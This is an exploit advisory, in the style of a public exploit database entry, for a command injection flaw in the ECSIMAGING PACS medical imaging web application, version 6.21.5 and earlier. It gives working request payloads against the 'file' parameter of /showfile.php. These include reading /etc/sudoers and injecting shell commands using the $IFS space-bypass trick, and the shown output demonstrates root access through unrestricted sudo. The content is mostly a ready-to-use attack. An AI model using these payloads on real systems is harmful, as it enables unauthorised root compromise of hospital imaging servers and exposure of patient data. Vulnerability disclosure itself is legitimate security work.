23 lines
No EOL
772 B
Text
23 lines
No EOL
772 B
Text
# Exploit Title: ECSIMAGING PACS 6.21.5 - Remote code execution
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# Date: 06/01/2021
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# Exploit Author: shoxxdj
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# Vendor Homepage: https://www.medicalexpo.fr/
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# Version: 6.21.5 and bellow ( tested on 6.21.5,6.21.3 )
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# Tested on: Linux
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ECSIMAGING PACS Application in 6.21.5 and bellow suffers from a OS Injection vulnerability.
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The parameter "file" on the webpage /showfile.php can be exploited with simple OS injection to gain root access.
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www-data user has sudo NOPASSWD access :
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/showfile.php?file=/etc/sudoers
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[...]
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www-data ALL=NOPASSWD: ALL
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[...]
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Command injection can be realized with the $IFS tricks : <url>/showfile.php?file=;ls$IFS-la$IFS/
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/showfile.php?file=;sudo$IFS-l
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[...]
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User www-data may run the following commands on this host:
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(root) NOPASSWD: ALL
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[...] |